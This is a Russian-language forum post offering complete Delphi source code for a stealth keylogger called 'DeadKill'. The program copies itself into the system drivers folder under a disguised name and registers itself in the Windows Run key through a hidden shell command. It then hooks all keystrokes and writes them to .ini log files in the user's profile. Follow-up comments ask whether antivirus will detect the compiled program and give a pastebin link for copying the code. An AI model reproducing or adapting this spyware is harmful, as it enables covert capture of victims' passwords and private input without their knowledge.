Исходники простого клавиатурного шпиона/кейлоггера на Delphi. При первом запуске проги происходит само-копирование программы в путь dir с именем name! И прописывание в автозагрузку той копии проги!
При запуске проги через авто-запуск прога кидает файлу в путь: %USERPROFILE% с именами name+номер+ext при каждом запуске создаётся файл со следующим по порядку номером, а при достижении файла размера в MaxFileSize создаётся следующий файл! При запуске программы в ручную файл с отчётом создаётся в каталоге с прогой!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 |
program ntrty; // DeadKill ver. 1.0 // Клавиатурный шпион, alex2054 (c) 20011-2012; // 13.04.2012 (пятница) uses Windows; const dir = 'C:\WINDOWS\system32\drivers\'; name = 'ntrty'; ext = '.ini'; ARCStr = 'cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v '; MaxFileSize = 2048; var HkHnd : hHook; FCh : file of Char; line : longint; hApp : THandle; wClass : TWndClass; wMSG : TMSG; function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass; var wCls : TWNDClass; begin wCls.hInstance:=hInstance; wCls.style:= style; with wCls do begin hIcon := ICON; lpfnWndProc := Proc; hbrBackground := Background; lpszClassName := PChar(ClassName); hCursor := CURSOR; cbClsExtra := ClsExtra; cbWndExtra := WndExtra; lpszMenuName := PChar(MenuName); end; Result:=wCls; end; function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND; begin Result:=CreateWindow(wClass.lpszClassName, PChar(Caption),(0 or $C00000 or $800000 or $400000 or $200000 or $100000 or $10000000), Integer(DWORD($80000000)),Integer(DWORD($80000000)), w, h, 0, 0, hInstance, nil); end; procedure lpWindow(Msg: TMsg); begin while GetMessage(Msg,0,0,0) do begin TranslateMessage(Msg); DispatchMessage(Msg); end; end; function IntToStr(Int: integer): string; begin Str(Int, result); end; function FileExists(const FileName : String) : Boolean; var Code : Integer; begin Code := GetFileAttributes(PChar(FileName)); Result := (Code -1) and (16 and Code = 0); end; function GetName: string; var i : longint; begin i:=0; repeat Inc(i); until not FileExists(name+IntToStr(i)+ext); Result:=name+IntToStr(i)+ext; end; function Win32Check(RetVal: BOOL): BOOL; begin if not RetVal then GetLastError; Result := RetVal; end; function GetCharFromVKey(vkey: Word): string; var keyst : TKeyboardState; retcode : Integer; begin Win32Check(GetKeyboardState(keyst)); SetLength(Result, 2); retcode := ToAscii(vkey, MapVirtualKeyA(vkey, 0), keyst, @Result[1],0); case retcode of 0: Result := "; 1: SetLength(Result, 1); 2: ; else Result := "; end; end; function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall; var msg : PEVENTMSG; b : Char; s : string; begin if Code >= 0 then begin msg := Pointer(LParam); if msg.message=256 then begin Inc(line); s:=GetCharFromVKey(msg.paramL); if Length(s)>0 then begin b:=s[1]; if (line mod 80)=0 then BlockWrite(FCh,#10#13,2); BlockWrite(FCh,b,1); end; end; if FileSize(FCh)>MaxFileSize then begin CloseFile(FCh); AssignFile(FCh,GetName); ReWrite(FCh) end; result := CallNextHookEx(HkHnd, code, WParam, LParam); end; end; function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall; begin case Msg of 1: begin if not FileExists(dir+name+'.exe') then begin Copyfile(PChar(paramstr(0)),dir+name+'.exe',BOOL(0)); WinExec(dir+name+'.exe',SW_Hide); halt(0); end; WinExec(PChar(ARCStr+name+' /t REG_SZ /d '+dir+name+'.exe /f'),SW_Hide); line:=0; AssignFile(FCh,GetName); ReWrite(FCh); repeat HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0); until HkHnd0; end; 2: begin if HkHnd 0 then UnhookWindowsHookEx(HkHnd); CloseFile(FCh); halt(0); end; end; Result := DefWindowProc(hWnd,Msg,wParam,lParam); end; begin wClass:=WC(hInstance,0,0,0,0,0,15,'MYCLASS',",@WndMessageProc); RegisterClass(wClass); hApp:=CreateWindow(wClass.lpszClassName, ",0, Integer(DWORD($80000000)), Integer(DWORD($80000000)), 0, 0, 0, 0, hInstance, nil); if hApp=0 then begin UnregisterClass('MYCLASS',hInstance); halt(0); end; lpWindow(wMsg); end. |
если его скомпилировать на выходе будет палится антивирусами?
Сорец на пастебин, ибо тутошний антикопер не даёт скопировать: http_://pastebin.com/wUiHYFR1
А обойти этот антикопер в два движения мыши не судьба ? Кому надо и может пригодится этот исходиник вполне быстро додумаются как его скопировать .